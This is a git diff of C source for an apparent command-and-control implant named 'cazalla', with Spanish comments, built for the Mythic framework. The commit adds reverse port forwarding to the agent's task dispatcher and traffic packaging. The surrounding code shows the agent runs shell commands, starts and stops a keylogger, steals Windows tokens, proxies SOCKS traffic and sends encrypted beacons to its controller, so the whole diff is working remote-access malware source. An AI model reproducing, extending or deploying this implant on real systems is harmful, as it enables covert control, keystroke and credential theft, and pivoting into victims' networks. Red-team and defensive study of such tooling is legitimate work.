RPFWD Implemented
This commit is contained in:
@@ -1,47 +1,107 @@
|
|||||||
#include "cazalla.h"
|
#include "cazalla.h"
|
||||||
#include "comandos.h"
|
#include "comandos.h"
|
||||||
#include "socks_manager.h"
|
#include "socks_manager.h"
|
||||||
|
#include "rpfwd_manager.h"
|
||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
|
|
||||||
/* Forward: handlers for the new commands */
|
/* Forward: handlers for the new commands */
|
||||||
static void startSocksHandler(PAnalizador analizadorTarea);
|
static void startSocksHandler(PAnalizador analizadorTarea);
|
||||||
static void stopSocksHandler(PAnalizador analizadorTarea);
|
static void stopSocksHandler(PAnalizador analizadorTarea);
|
||||||
|
static void startRpfwdHandler(PAnalizador analizadorTarea);
|
||||||
|
static void stopRpfwdHandler(PAnalizador analizadorTarea);
|
||||||
|
|
||||||
BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
||||||
|
_inf("========== handleGetTasking INICIO ==========");
|
||||||
_dbg("handleGetTasking() llamado");
|
_inf("Buffer disponible: %zu bytes", obtenerTarea->tamano);
|
||||||
|
|
||||||
|
if (obtenerTarea->tamano < 4) {
|
||||||
|
_err("ERROR: Buffer demasiado pequeño para leer número de tareas (size=%zu, need=4)", obtenerTarea->tamano);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Leer número de tareas (4 bytes)
|
||||||
UINT32 numeroTareas = getInt32(obtenerTarea);
|
UINT32 numeroTareas = getInt32(obtenerTarea);
|
||||||
_dbg("Número de tareas: %u", numeroTareas);
|
_inf("Número de tareas leído: %u, buffer restante después de leer numeroTareas: %zu bytes", numeroTareas, obtenerTarea->tamano);
|
||||||
|
|
||||||
if (numeroTareas) {
|
if (numeroTareas == 0) {
|
||||||
_dbg("Hay %d tareas", numeroTareas);
|
_inf("No hay tareas pendientes");
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (obtenerTarea->tamano == 0 && numeroTareas > 0) {
|
||||||
|
_err("ERROR CRÍTICO: numeroTareas=%u pero buffer está vacío (0 bytes). Formato incorrecto!", numeroTareas);
|
||||||
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
for (UINT32 i = 0; i < numeroTareas; i++) {
|
for (UINT32 i = 0; i < numeroTareas; i++) {
|
||||||
SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID
|
_inf("========== PROCESANDO TAREA %u/%u ==========", i+1, numeroTareas);
|
||||||
_dbg("Procesando tarea %u/%u, tamaño: %zu", i+1, numeroTareas, tamanoTarea);
|
_inf("Tarea %u: Buffer restante antes de leer tamaño: %zu bytes", i+1, obtenerTarea->tamano);
|
||||||
|
|
||||||
|
if (obtenerTarea->tamano < 4) {
|
||||||
|
_err("Tarea %u: Buffer insuficiente para leer tamaño (restante=%zu, need=4)", i+1, obtenerTarea->tamano);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Formato: [task_size (4)][command_code (1)][task_id + parameters...]
|
||||||
|
// task_size incluye el command_code + task_id + parameters
|
||||||
|
SIZE_T tamanoTarea = getInt32(obtenerTarea);
|
||||||
|
_inf("Tarea %u: Tamaño total leído: %zu bytes, buffer restante: %zu bytes", i+1, tamanoTarea, obtenerTarea->tamano);
|
||||||
|
|
||||||
|
if (tamanoTarea == 0 || tamanoTarea > 1000000) {
|
||||||
|
_err("Tarea %u: Tamaño inválido %zu (0x%zX), saltando tarea", i+1, tamanoTarea, tamanoTarea);
|
||||||
|
_err("Tarea %u: Posible desincronización del buffer, bytes restantes=%zu", i+1, obtenerTarea->tamano);
|
||||||
|
break; // No continue, sino break porque si el tamaño está mal, todas las siguientes también lo estarán
|
||||||
|
}
|
||||||
|
|
||||||
|
if (obtenerTarea->tamano < 1) {
|
||||||
|
_err("Tarea %u: Buffer insuficiente para leer command_code (restante=%zu, need=1)", i+1, obtenerTarea->tamano);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Leer el command_code (1 byte)
|
||||||
BYTE tarea = getByte(obtenerTarea);
|
BYTE tarea = getByte(obtenerTarea);
|
||||||
_dbg("Comando recibido: 0x%02X (%d)", tarea, tarea);
|
_inf("Tarea %u: Comando recibido: 0x%02X, buffer restante: %zu bytes", i+1, tarea, obtenerTarea->tamano);
|
||||||
_inf("COMMAND DEBUG: Received command 0x%02X, KEYLOG_START_CMD=0x%02X, KEYLOG_STOP_CMD=0x%02X",
|
|
||||||
tarea, KEYLOG_START_CMD, KEYLOG_STOP_CMD);
|
|
||||||
|
|
||||||
|
// El tamaño restante es tamanoTarea - 1 (ya leímos el command_code)
|
||||||
|
tamanoTarea = tamanoTarea - 1;
|
||||||
|
_inf("Tarea %u: Tamaño restante después de command_code: %zu bytes", i+1, tamanoTarea);
|
||||||
// Debug: log specific command types
|
// Debug: log specific command types
|
||||||
if (tarea == KEYLOG_START_CMD) {
|
if (tarea == START_RPFWD_CMD) {
|
||||||
_inf("=== KEYLOG_START_CMD (0x%02X) detected ===", tarea);
|
_inf(">>> START_RPFWD_CMD (0x%02X) detectado <<<", tarea);
|
||||||
|
} else if (tarea == STOP_RPFWD_CMD) {
|
||||||
|
_inf(">>> STOP_RPFWD_CMD (0x%02X) detectado <<<", tarea);
|
||||||
|
} else if (tarea == KEYLOG_START_CMD) {
|
||||||
|
_inf(">>> KEYLOG_START_CMD (0x%02X) detectado <<<", tarea);
|
||||||
} else if (tarea == KEYLOG_STOP_CMD) {
|
} else if (tarea == KEYLOG_STOP_CMD) {
|
||||||
_inf("=== KEYLOG_STOP_CMD (0x%02X) detected ===", tarea);
|
_inf(">>> KEYLOG_STOP_CMD (0x%02X) detectado <<<", tarea);
|
||||||
} else if (tarea == 0x30) {
|
|
||||||
_inf("=== RAW 0x30 detected (should be KEYLOG_START) ===");
|
|
||||||
} else if (tarea == 0x31) {
|
|
||||||
_inf("=== RAW 0x31 detected (should be KEYLOG_STOP) ===");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Leer el buffer de la tarea (task_id + parameters)
|
||||||
|
if (obtenerTarea->tamano < tamanoTarea) {
|
||||||
|
_err("Tarea %u: Buffer insuficiente para leer tarea completa (restante=%zu, need=%zu)",
|
||||||
|
i+1, obtenerTarea->tamano, tamanoTarea);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
|
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
|
||||||
|
if (!bufferTarea) {
|
||||||
|
_err("Tarea %u: ERROR: getBytes retornó NULL (tamaño esperado=%zu, buffer restante=%zu)",
|
||||||
|
i+1, tamanoTarea, obtenerTarea->tamano);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
_inf("Tarea %u: Buffer obtenido, tamaño=%zu bytes, buffer restante después: %zu bytes",
|
||||||
|
i+1, tamanoTarea, obtenerTarea->tamano);
|
||||||
|
|
||||||
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
|
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
|
||||||
|
if (!analizadorTarea) {
|
||||||
|
_err("ERROR: nuevoAnalizador retornó NULL para tarea %u", i+1);
|
||||||
|
LocalFree(bufferTarea);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
_inf("Tarea %u: Analizador creado, entrando en dispatch...", i+1);
|
||||||
|
|
||||||
if (tarea == SHELL_CMD){
|
if (tarea == SHELL_CMD){
|
||||||
|
_inf("Tarea %u: Ejecutando SHELL_CMD", i+1);
|
||||||
ejecutarConsola(analizadorTarea);
|
ejecutarConsola(analizadorTarea);
|
||||||
} else if (tarea == EXIT_CMD) {
|
} else if (tarea == EXIT_CMD) {
|
||||||
cerrarCallback(analizadorTarea);
|
cerrarCallback(analizadorTarea);
|
||||||
@@ -75,6 +135,14 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
|||||||
} else if (tarea == STOP_SOCKS_CMD) {
|
} else if (tarea == STOP_SOCKS_CMD) {
|
||||||
_dbg("Received STOP_SOCKS_CMD");
|
_dbg("Received STOP_SOCKS_CMD");
|
||||||
stopSocksHandler(analizadorTarea);
|
stopSocksHandler(analizadorTarea);
|
||||||
|
} else if (tarea == START_RPFWD_CMD) {
|
||||||
|
_inf("===== START_RPFWD_CMD (0x%02X) detected ====", tarea);
|
||||||
|
_inf("Tarea %u: Llamando startRpfwdHandler()...", i+1);
|
||||||
|
startRpfwdHandler(analizadorTarea);
|
||||||
|
_inf("Tarea %u: startRpfwdHandler() retornó", i+1);
|
||||||
|
} else if (tarea == STOP_RPFWD_CMD) {
|
||||||
|
_dbg("Received STOP_RPFWD_CMD");
|
||||||
|
stopRpfwdHandler(analizadorTarea);
|
||||||
} else if (tarea == KEYLOG_START_CMD) {
|
} else if (tarea == KEYLOG_START_CMD) {
|
||||||
_inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea);
|
||||||
StartKeylogger(analizadorTarea);
|
StartKeylogger(analizadorTarea);
|
||||||
@@ -105,10 +173,17 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
|||||||
_inf("===== WHOAMI_CMD COMPLETED =====");
|
_inf("===== WHOAMI_CMD COMPLETED =====");
|
||||||
} else {
|
} else {
|
||||||
_wrn("Tarea desconocida: 0x%02x", tarea);
|
_wrn("Tarea desconocida: 0x%02x", tarea);
|
||||||
|
_wrn("Tarea %u: Comando desconocido, liberando recursos", i+1);
|
||||||
// liberar analizador si no será usado por otro handler
|
// liberar analizador si no será usado por otro handler
|
||||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||||
|
if (bufferTarea) LocalFree(bufferTarea);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
_inf("Tarea %u: Procesamiento completado, buffer restante final: %zu bytes", i+1, obtenerTarea->tamano);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
_inf("========== handleGetTasking FIN ==========");
|
||||||
|
_inf("Buffer final restante: %zu bytes", obtenerTarea->tamano);
|
||||||
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
@@ -137,10 +212,10 @@ BOOL commandDispatch(PAnalizador respuesta) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
BYTE tipoRespuesta = getByte(respuesta);
|
BYTE tipoRespuesta = getByte(respuesta);
|
||||||
_dbg("Tipo de respuesta: 0x%02X", tipoRespuesta);
|
_inf("Tipo de respuesta: 0x%02X, buffer restante después de leer tipo: %zu bytes", tipoRespuesta, respuesta->tamano);
|
||||||
|
|
||||||
if (tipoRespuesta == GET_TASKING) {
|
if (tipoRespuesta == GET_TASKING) {
|
||||||
_dbg("Llamando handleGetTasking()");
|
_inf("Llamando handleGetTasking() con buffer restante: %zu bytes", respuesta->tamano);
|
||||||
return handleGetTasking(respuesta);
|
return handleGetTasking(respuesta);
|
||||||
}
|
}
|
||||||
else if (tipoRespuesta == POST_RESPONSE) {
|
else if (tipoRespuesta == POST_RESPONSE) {
|
||||||
@@ -228,7 +303,8 @@ static void startSocksHandler(PAnalizador analizadorTarea) {
|
|||||||
SIZE_T uuidLen = 36;
|
SIZE_T uuidLen = 36;
|
||||||
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
|
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
|
||||||
|
|
||||||
// Leer el puerto
|
// SOCKS usa formato especial sin nbArg, lee puerto directamente
|
||||||
|
// Formato: UUID (36) + puerto (4)
|
||||||
UINT32 localPort = (UINT32)getInt32(analizadorTarea);
|
UINT32 localPort = (UINT32)getInt32(analizadorTarea);
|
||||||
_dbg("startSocksHandler: taskId=%.*s port=%u", 36, taskUuid, localPort);
|
_dbg("startSocksHandler: taskId=%.*s port=%u", 36, taskUuid, localPort);
|
||||||
|
|
||||||
@@ -301,3 +377,118 @@ static void stopSocksHandler(PAnalizador analizadorTarea) {
|
|||||||
|
|
||||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* ============================
|
||||||
|
START_RPFWD_CMD handler
|
||||||
|
Expected params (in this order inside the task buffer):
|
||||||
|
- 36 bytes: UUID del task
|
||||||
|
- UINT32 LocalPort (optional). If absent or zero -> default 8080.
|
||||||
|
Behavior:
|
||||||
|
- call rpfwd_manager_init()
|
||||||
|
- call rpfwd_manager_start_listener(local_port)
|
||||||
|
- send response back to Mythic
|
||||||
|
============================ */
|
||||||
|
static void startRpfwdHandler(PAnalizador analizadorTarea) {
|
||||||
|
_dbg("startRpfwdHandler() enter");
|
||||||
|
_inf("===== PROCESSING START_RPFWD_CMD (0x62) =====");
|
||||||
|
|
||||||
|
// Leer el UUID del task (primeros 36 bytes)
|
||||||
|
SIZE_T uuidLen = 36;
|
||||||
|
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
|
||||||
|
if (!taskUuid || uuidLen != 36) {
|
||||||
|
_err("startRpfwdHandler: Error leyendo UUID (len=%zu)", uuidLen);
|
||||||
|
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Para input_type="int", el formato es: UUID (36) + nbArg (4) + param1 (4) + param2 (4)...
|
||||||
|
UINT32 nbArg = getInt32(analizadorTarea);
|
||||||
|
_dbg("startRpfwdHandler: nbArg=%u", nbArg);
|
||||||
|
|
||||||
|
// Leer el puerto (primer parámetro)
|
||||||
|
UINT32 localPort = 0;
|
||||||
|
if (nbArg > 0) {
|
||||||
|
localPort = (UINT32)getInt32(analizadorTarea);
|
||||||
|
_dbg("startRpfwdHandler: leído puerto=%u", localPort);
|
||||||
|
}
|
||||||
|
|
||||||
|
_dbg("startRpfwdHandler: taskId=%.*s nbArg=%u port=%u", 36, taskUuid, nbArg, localPort);
|
||||||
|
|
||||||
|
if (localPort == 0) localPort = 8080; // Default RPFWD port
|
||||||
|
|
||||||
|
// initialize rpfwd manager (idempotent)
|
||||||
|
rpfwd_manager_init();
|
||||||
|
|
||||||
|
int rc = rpfwd_manager_start_listener((uint16_t)localPort);
|
||||||
|
|
||||||
|
// Crear respuesta para Mythic
|
||||||
|
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente
|
||||||
|
addString(respuesta, taskUuid, FALSE); // Task UUID
|
||||||
|
|
||||||
|
// Crear paquete temporal para el output
|
||||||
|
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||||
|
if (rc == 0) {
|
||||||
|
_inf("rpfwd_manager_start_listener(%u) OK", localPort);
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "Reverse port forward started on port %u\n", localPort);
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "Connections to %s:%u (agent) will be forwarded to remote host\n",
|
||||||
|
"0.0.0.0", localPort);
|
||||||
|
|
||||||
|
// Add Network Connection artifact
|
||||||
|
char artifact_buf[256];
|
||||||
|
snprintf(artifact_buf, sizeof(artifact_buf), "Reverse Port Forward listener started on port %u", localPort);
|
||||||
|
addArtifact(respuesta, "Network Connection", artifact_buf);
|
||||||
|
} else {
|
||||||
|
_err("rpfwd_manager_start_listener(%u) rc=%d", localPort, rc);
|
||||||
|
if (rc == 1) {
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "Failed to start reverse port forward on port %u\n", localPort);
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "Error: Port may be in use or requires administrator privileges (WSAError=10013)\n");
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "Try using a non-privileged port (e.g., 8080, 4444, 5555)\n");
|
||||||
|
} else {
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "Failed to start reverse port forward on port %u (rc=%d)\n", localPort, rc);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
|
||||||
|
// Enviar respuesta
|
||||||
|
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
|
||||||
|
liberarPaquete(salida);
|
||||||
|
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
|
||||||
|
|
||||||
|
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ============================
|
||||||
|
STOP_RPFWD_CMD handler
|
||||||
|
Expected params:
|
||||||
|
- 36 bytes: UUID del task
|
||||||
|
Behavior:
|
||||||
|
- call rpfwd_manager_stop_listener()
|
||||||
|
- send response back to Mythic
|
||||||
|
============================ */
|
||||||
|
static void stopRpfwdHandler(PAnalizador analizadorTarea) {
|
||||||
|
_dbg("stopRpfwdHandler() enter");
|
||||||
|
|
||||||
|
// Leer el UUID del task (primeros 36 bytes)
|
||||||
|
SIZE_T uuidLen = 36;
|
||||||
|
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
|
||||||
|
_dbg("stopRpfwdHandler: taskId=%.*s", 36, taskUuid);
|
||||||
|
|
||||||
|
int rc = rpfwd_manager_stop_listener();
|
||||||
|
_dbg("rpfwd_manager_stop_listener() rc=%d", rc);
|
||||||
|
|
||||||
|
// Crear respuesta para Mythic
|
||||||
|
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente
|
||||||
|
addString(respuesta, taskUuid, FALSE); // Task UUID
|
||||||
|
|
||||||
|
// Crear paquete temporal para el output
|
||||||
|
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "Reverse port forward stopped\n");
|
||||||
|
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
|
||||||
|
// Enviar respuesta
|
||||||
|
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
|
||||||
|
liberarPaquete(salida);
|
||||||
|
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
|
||||||
|
|
||||||
|
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||||
|
}
|
||||||
|
|||||||
@@ -13,6 +13,7 @@
|
|||||||
#include "screenshot.h"
|
#include "screenshot.h"
|
||||||
#include "keylog.h"
|
#include "keylog.h"
|
||||||
#include "tokens.h"
|
#include "tokens.h"
|
||||||
|
#include "rpfwd_manager.h"
|
||||||
|
|
||||||
#define SHELL_CMD 0x54
|
#define SHELL_CMD 0x54
|
||||||
#define GET_TASKING 0x00
|
#define GET_TASKING 0x00
|
||||||
@@ -42,6 +43,10 @@
|
|||||||
#define START_SOCKS_CMD 0x60
|
#define START_SOCKS_CMD 0x60
|
||||||
#define STOP_SOCKS_CMD 0x61
|
#define STOP_SOCKS_CMD 0x61
|
||||||
|
|
||||||
|
/* Reverse Port Forward commands */
|
||||||
|
#define START_RPFWD_CMD 0x62
|
||||||
|
#define STOP_RPFWD_CMD 0x63
|
||||||
|
|
||||||
/* Token commands */
|
/* Token commands */
|
||||||
#define LIST_TOKENS_CMD 0x32
|
#define LIST_TOKENS_CMD 0x32
|
||||||
#define STEAL_TOKEN_CMD 0x33
|
#define STEAL_TOKEN_CMD 0x33
|
||||||
@@ -51,6 +56,8 @@
|
|||||||
|
|
||||||
/* Extension marker to carry SOCKS array in binary messages */
|
/* Extension marker to carry SOCKS array in binary messages */
|
||||||
#define SOCKS_BLOCK_MARKER 0xF5
|
#define SOCKS_BLOCK_MARKER 0xF5
|
||||||
|
/* Extension marker to carry RPFWD array in binary messages */
|
||||||
|
#define RPFWD_BLOCK_MARKER 0xF2
|
||||||
|
|
||||||
BOOL parseChecking(PAnalizador respuestaAnalizador);
|
BOOL parseChecking(PAnalizador respuestaAnalizador);
|
||||||
BOOL rutina();
|
BOOL rutina();
|
||||||
|
|||||||
@@ -2,6 +2,7 @@
|
|||||||
#include "cazalla.h"
|
#include "cazalla.h"
|
||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
#include "socks_manager.h"
|
#include "socks_manager.h"
|
||||||
|
#include "rpfwd_manager.h"
|
||||||
|
|
||||||
// Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
|
// Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
|
||||||
PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
|
PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
|
||||||
@@ -49,6 +50,26 @@ static void flush_socks_cb(uint32_t server_id, int exit_flag, const unsigned cha
|
|||||||
_dbg("flush_socks_cb completed");
|
_dbg("flush_socks_cb completed");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* Callback C para volcar mensajes RPFWD al paquete */
|
||||||
|
static void flush_rpfwd_cb(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, uint32_t port, void *ctx) {
|
||||||
|
PPaquete pkt = (PPaquete)ctx;
|
||||||
|
_dbg("flush_rpfwd_cb: sid=%u exit=%d len=%zu port=%u", server_id, exit_flag, data_len, port);
|
||||||
|
addInt32(pkt, server_id);
|
||||||
|
addByte(pkt, (BYTE)(exit_flag ? 1 : 0));
|
||||||
|
if (data_len && data) {
|
||||||
|
char *b64 = b64Codificado(data, (SIZE_T)data_len);
|
||||||
|
SIZE_T b64len = b64 ? strlen(b64) : 0;
|
||||||
|
addInt32(pkt, (UINT32)b64len);
|
||||||
|
if (b64len) addBytes(pkt, (PBYTE)b64, b64len, FALSE);
|
||||||
|
if (b64) LocalFree(b64);
|
||||||
|
} else {
|
||||||
|
addInt32(pkt, 0);
|
||||||
|
}
|
||||||
|
// Add port (optional, but needed if multiple RPFWD ports are supported)
|
||||||
|
addInt32(pkt, port);
|
||||||
|
_dbg("flush_rpfwd_cb completed");
|
||||||
|
}
|
||||||
|
|
||||||
/* === Nueva función: inserta tráfico SOCKS pendiente === */
|
/* === Nueva función: inserta tráfico SOCKS pendiente === */
|
||||||
static VOID flushSocksTraffic(PPaquete paquete) {
|
static VOID flushSocksTraffic(PPaquete paquete) {
|
||||||
_dbg("flushSocksTraffic()");
|
_dbg("flushSocksTraffic()");
|
||||||
@@ -74,6 +95,31 @@ static VOID flushSocksTraffic(PPaquete paquete) {
|
|||||||
_dbg("flushSocksTraffic() completed");
|
_dbg("flushSocksTraffic() completed");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* === Nueva función: inserta tráfico RPFWD pendiente === */
|
||||||
|
static VOID flushRpfwdTraffic(PPaquete paquete) {
|
||||||
|
_dbg("flushRpfwdTraffic()");
|
||||||
|
/* Emit marker and number of RPFWD messages if there are any; we buffer to temp first */
|
||||||
|
PPaquete temp = nuevoPaquete(0, FALSE);
|
||||||
|
if (!temp) {
|
||||||
|
_err("nuevoPaquete temp failed");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
_dbg("temp paquete created");
|
||||||
|
|
||||||
|
rpfwd_manager_flush_outgoing(flush_rpfwd_cb, (void*)temp);
|
||||||
|
_dbg("rpfwd_manager_flush_outgoing done, temp->length=%zu", temp->length);
|
||||||
|
|
||||||
|
if (temp->length > 0) {
|
||||||
|
_dbg("Adding RPFWD block marker");
|
||||||
|
/* Frame: 0xF2 | [Int32 total_len] | [temp bytes] */
|
||||||
|
addByte(paquete, (BYTE)RPFWD_BLOCK_MARKER);
|
||||||
|
addInt32(paquete, (UINT32)temp->length);
|
||||||
|
addBytes(paquete, (PBYTE)temp->buffer, temp->length, FALSE);
|
||||||
|
}
|
||||||
|
liberarPaquete(temp);
|
||||||
|
_dbg("flushRpfwdTraffic() completed");
|
||||||
|
}
|
||||||
|
|
||||||
/* === Enviar paquete con soporte SOCKS === */
|
/* === Enviar paquete con soporte SOCKS === */
|
||||||
PAnalizador mandarPaquete(PPaquete paquete) {
|
PAnalizador mandarPaquete(PPaquete paquete) {
|
||||||
_dbg("mandarPaquete() len=%zu", paquete->length);
|
_dbg("mandarPaquete() len=%zu", paquete->length);
|
||||||
@@ -85,6 +131,14 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
} else {
|
} else {
|
||||||
_dbg("SOCKS inactivo, saltando flushSocksTraffic()");
|
_dbg("SOCKS inactivo, saltando flushSocksTraffic()");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Solo añadir tráfico RPFWD si está activo
|
||||||
|
if (rpfwd_active) {
|
||||||
|
_dbg("RPFWD activo, flushRpfwdTraffic()");
|
||||||
|
flushRpfwdTraffic(paquete);
|
||||||
|
} else {
|
||||||
|
_dbg("RPFWD inactivo, saltando flushRpfwdTraffic()");
|
||||||
|
}
|
||||||
|
|
||||||
// === Handle encryption according to Mythic format ===
|
// === Handle encryption according to Mythic format ===
|
||||||
// Format with encryption: Base64(PayloadUUID + AES256(rest_of_data))
|
// Format with encryption: Base64(PayloadUUID + AES256(rest_of_data))
|
||||||
@@ -120,13 +174,6 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
_dbg("Data offset (after UUID): %zu", dataOffset);
|
_dbg("Data offset (after UUID): %zu", dataOffset);
|
||||||
_dbg("Datos a cifrar: %zu bytes", dataLength);
|
_dbg("Datos a cifrar: %zu bytes", dataLength);
|
||||||
|
|
||||||
// Log raw packet structure
|
|
||||||
_dbg("Raw packet structure (first 60 bytes, hex): ");
|
|
||||||
for (size_t i = 0; i < (paquete->length > 60 ? 60 : paquete->length); i++) {
|
|
||||||
_dbg(" %02x ", ((PBYTE)paquete->buffer)[i]);
|
|
||||||
if ((i + 1) % 16 == 0) _dbg("\n");
|
|
||||||
}
|
|
||||||
|
|
||||||
// Create a temporary package with only the data part (without UUID)
|
// Create a temporary package with only the data part (without UUID)
|
||||||
PPaquete dataPackage = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
|
PPaquete dataPackage = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
|
||||||
if (!dataPackage) {
|
if (!dataPackage) {
|
||||||
@@ -144,17 +191,6 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
memcpy(dataPackage->buffer, (PBYTE)paquete->buffer + dataOffset, dataLength);
|
memcpy(dataPackage->buffer, (PBYTE)paquete->buffer + dataOffset, dataLength);
|
||||||
dataPackage->length = dataLength;
|
dataPackage->length = dataLength;
|
||||||
|
|
||||||
// Log data to encrypt
|
|
||||||
_dbg("=== DATA TO ENCRYPT (without UUID) ===");
|
|
||||||
_dbg("Data length: %zu bytes", dataPackage->length);
|
|
||||||
_dbg("Data preview (hex, first 64 bytes): ");
|
|
||||||
for (size_t i = 0; i < (dataPackage->length > 64 ? 64 : dataPackage->length); i++) {
|
|
||||||
_dbg(" %02x ", ((PBYTE)dataPackage->buffer)[i]);
|
|
||||||
if ((i + 1) % 32 == 0) _dbg("\n");
|
|
||||||
}
|
|
||||||
_dbg("First byte of data (should be command byte): 0x%02X",
|
|
||||||
dataPackage->length > 0 ? ((PBYTE)dataPackage->buffer)[0] : 0);
|
|
||||||
|
|
||||||
// Encrypt only the data part (without UUID)
|
// Encrypt only the data part (without UUID)
|
||||||
_inf("=== STARTING ENCRYPTION ===");
|
_inf("=== STARTING ENCRYPTION ===");
|
||||||
_dbg("Calling CryptoMythicEncryptPackage() with %zu bytes...", dataPackage->length);
|
_dbg("Calling CryptoMythicEncryptPackage() with %zu bytes...", dataPackage->length);
|
||||||
@@ -167,15 +203,6 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
_inf("=== ENCRYPTION COMPLETE ===");
|
_inf("=== ENCRYPTION COMPLETE ===");
|
||||||
_dbg("Datos cifrados: %zu bytes (original: %zu bytes)",
|
|
||||||
dataPackage->length, dataLength);
|
|
||||||
|
|
||||||
// Log encrypted data preview
|
|
||||||
_dbg("Encrypted data preview (hex, first 80 bytes): ");
|
|
||||||
for (size_t i = 0; i < (dataPackage->length > 80 ? 80 : dataPackage->length); i++) {
|
|
||||||
_dbg(" %02x ", ((PBYTE)dataPackage->buffer)[i]);
|
|
||||||
if ((i + 1) % 32 == 0) _dbg("\n");
|
|
||||||
}
|
|
||||||
|
|
||||||
// Concatenate UUID + encrypted data
|
// Concatenate UUID + encrypted data
|
||||||
SIZE_T finalSize = UUID_LENGTH + dataPackage->length;
|
SIZE_T finalSize = UUID_LENGTH + dataPackage->length;
|
||||||
@@ -187,38 +214,12 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
_dbg("=== CONCATENATING UUID + ENCRYPTED DATA ===");
|
|
||||||
memcpy(finalBuffer, uuidStr, UUID_LENGTH);
|
memcpy(finalBuffer, uuidStr, UUID_LENGTH);
|
||||||
_dbg("Copied UUID (%zu bytes) to final buffer", UUID_LENGTH);
|
|
||||||
memcpy(finalBuffer + UUID_LENGTH, dataPackage->buffer, dataPackage->length);
|
memcpy(finalBuffer + UUID_LENGTH, dataPackage->buffer, dataPackage->length);
|
||||||
_dbg("Copied encrypted data (%zu bytes) to final buffer at offset %zu",
|
|
||||||
dataPackage->length, UUID_LENGTH);
|
|
||||||
|
|
||||||
datosAEnviar = finalBuffer;
|
datosAEnviar = finalBuffer;
|
||||||
tamanoAEnviar = finalSize;
|
tamanoAEnviar = finalSize;
|
||||||
|
|
||||||
_dbg("=== FINAL BUFFER READY ===");
|
|
||||||
_dbg("Tamaño final: %zu bytes (UUID: %zu, cifrado: %zu)",
|
|
||||||
finalSize, UUID_LENGTH, dataPackage->length);
|
|
||||||
|
|
||||||
